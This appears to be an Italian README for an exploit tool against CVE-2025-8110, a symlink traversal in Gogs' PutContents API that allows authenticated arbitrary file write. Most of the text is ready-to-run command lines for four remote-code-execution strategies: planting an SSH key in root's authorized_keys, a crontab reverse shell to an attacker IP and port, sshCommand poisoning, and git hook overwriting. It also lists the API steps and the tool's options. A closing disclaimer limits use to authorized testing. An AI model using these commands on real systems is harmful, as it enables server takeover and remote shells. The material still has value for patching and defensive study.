
Gogs Symlink Traversal → RCE
CVE-2025-8110 è una vulnerabilità critica in Gogs (servizio Git self-hosted) versioni <= 0.13.3. L'API PutContents valida i percorsi dei file per l'attraversamento di directory (../) ma non risolve i collegamenti simbolici prima della scrittura. Un utente autenticato può effettuare il push di un commit contenente un symlink che punta a qualsiasi file del server, per poi chiamare PutContents su quel symlink e sovrascrivere il file reale con contenuti controllati dall'attaccante.
Si tratta di un bypass della correzione della precedente CVE-2024-55947, che gestiva solo l'attraversamento diretto dei percorsi ma non quello basato su symlink.
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2025-8110 |
| Versioni interessate | Gogs <= 0.13.3 |
| Corretta in | Gogs 0.13.4 |
| Tipo | Scrittura arbitraria di file autenticata → RCE |
| CVSS | 8.8 (Alta) |
| Componente | API PutContents (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)gitQuesto exploit supporta 4 strategie RCE integrate più una modalità generica di scrittura file:
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - Accesso tramite token API (Basic Auth)POST /api/v1/user/repos con auto_init: true (POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link con contenuto codificato in base64. Gogs risolve il symlink su disco e scrive nel file reale (PUT /api/v1/repos/.../contents/linkn_ame)target Gogs base URL (e.g. http://target:3000)
Authentication:
-u, --user Gogs username
-p, --password Gogs password
RCE Strategies:
--rce-keys PUBKEY Plant SSH pubkey → /root/.ssh/authorized_keys
--rce-cron Reverse shell → /etc/crontab
--rce-ssh Poison .git/config sshCommand + trigger
--rce-hook Overwrite pre-receive hook + trigger
--write Generic arbitrary file write
Connection / Payload:
--lhost LHOST Attacker IP for reverse shell
--lport LPORT Attacker port for reverse shell
--target-file PATH Server path to overwrite (--write mode)
--content STRING Content to write
--content-file FILE Local file to write
Options:
--repo NAME Repository name (default: random)
--cleanup Delete exploit repo after completion
-o, --output FILE Report file (default: loot.json)
--timeout SECONDS Request timeout (default: 15)
--proxy URL HTTP proxy for debugging
--check-only Only check if target is Gogs, don't exploit
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi didattici. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio. Utilizzalo solo su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta ai test.
| Strategia | Flag | File di destinazione | Attivazione |
|---|
| A — Chiavi SSH | --rce-keys | /root/.ssh/authorized_keys | Accesso SSH |
| B — Crontab | --rce-cron | /etc/crontab | Automatica (entro 60s) |
| C — sshCommand | --rce-ssh | .git/config | Operazione git via SSH |
| D — Hook Git | --rce-hook | hooks/pre-receive | git push |
| Generica | --write | Qualsiasi percorso | Manuale |